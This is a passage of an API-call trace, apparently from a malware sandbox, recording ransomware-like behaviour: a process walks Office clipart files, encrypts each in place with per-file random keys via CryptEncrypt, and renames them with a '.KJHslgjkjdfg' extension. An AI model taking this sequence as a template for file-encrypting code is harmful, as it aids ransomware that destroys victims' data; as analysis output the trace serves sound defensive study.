(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.830] GetProcessHeap () returned 0x2a0000 [0193.830] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.830] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.830] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.830] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0193.832] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.832] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.832] GetProcessHeap () returned 0x2a0000 [0193.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.832] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.832] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.832] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.833] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.833] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.833] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.833] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.833] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.833] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.833] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.833] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.833] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x69f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x69f, lpOverlapped=0x0) returned 1 [0193.833] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x6a0) returned 1 [0193.833] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.834] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x6a0, lpOverlapped=0x0) returned 1 [0193.834] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.834] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.834] SetEndOfFile (hFile=0x118) returned 1 [0193.836] GetProcessHeap () returned 0x2a0000 [0193.837] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.837] GetProcessHeap () returned 0x2a0000 [0193.837] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif.kjhslgjkjdfg")) returned 1 [0193.839] CloseHandle (hObject=0x118) returned 1 [0193.839] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0193.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.840] GetProcessHeap () returned 0x2a0000 [0193.840] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.840] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.840] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.840] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0193.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.843] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.843] GetProcessHeap () returned 0x2a0000 [0193.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.843] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.843] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.843] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.843] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.844] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.844] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.844] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.844] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.844] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.844] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.844] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.844] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x124a, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x124a, lpOverlapped=0x0) returned 1 [0193.855] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1250, dwBufLen=0x1250 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1250) returned 1 [0193.855] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.855] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1250, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1250, lpOverlapped=0x0) returned 1 [0193.855] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.855] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.855] SetEndOfFile (hFile=0x118) returned 1 [0193.858] GetProcessHeap () returned 0x2a0000 [0193.858] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.858] GetProcessHeap () returned 0x2a0000 [0193.858] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif.kjhslgjkjdfg")) returned 1 [0193.860] CloseHandle (hObject=0x118) returned 1 [0193.860] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0193.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.861] GetProcessHeap () returned 0x2a0000 [0193.861] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.862] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.862] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.862] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0193.864] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.864] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.864] GetProcessHeap () returned 0x2a0000 [0193.865] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.865] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.865] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.865] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.865] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.865] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.865] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.865] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.865] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.865] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.865] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.865] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.865] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2017, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2017, lpOverlapped=0x0) returned 1 [0193.868] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2020, dwBufLen=0x2020 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x2020) returned 1 [0193.868] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.868] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x2020, lpOverlapped=0x0) returned 1 [0193.869] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.869] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.869] SetEndOfFile (hFile=0x118) returned 1 [0193.871] GetProcessHeap () returned 0x2a0000 [0193.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.872] GetProcessHeap () returned 0x2a0000 [0193.872] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif.kjhslgjkjdfg")) returned 1 [0193.874] CloseHandle (hObject=0x118) returned 1 [0193.874] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0193.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.875] GetProcessHeap () returned 0x2a0000 [0193.875] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.876] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.876] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.876] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0193.881] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.881] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.881] GetProcessHeap () returned 0x2a0000 [0193.881] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.881] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.881] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.881] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.881] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.882] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.882] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.882] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.882] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.882] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.882] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.882] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.882] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x20ee, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x20ee, lpOverlapped=0x0) returned 1 [0193.883] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x20f0) returned 1 [0193.883] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.883] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x20f0, lpOverlapped=0x0) returned 1 [0193.883] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.884] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.884] SetEndOfFile (hFile=0x118) returned 1 [0193.886] GetProcessHeap () returned 0x2a0000 [0193.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.886] GetProcessHeap () returned 0x2a0000 [0193.886] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.886] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif.kjhslgjkjdfg")) returned 1 [0193.888] CloseHandle (hObject=0x118) returned 1 [0193.888] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0193.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.890] GetProcessHeap () returned 0x2a0000 [0193.890] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.890] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.890] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.890] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xa, lpOverlapped=0x0) returned 1 [0193.892] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 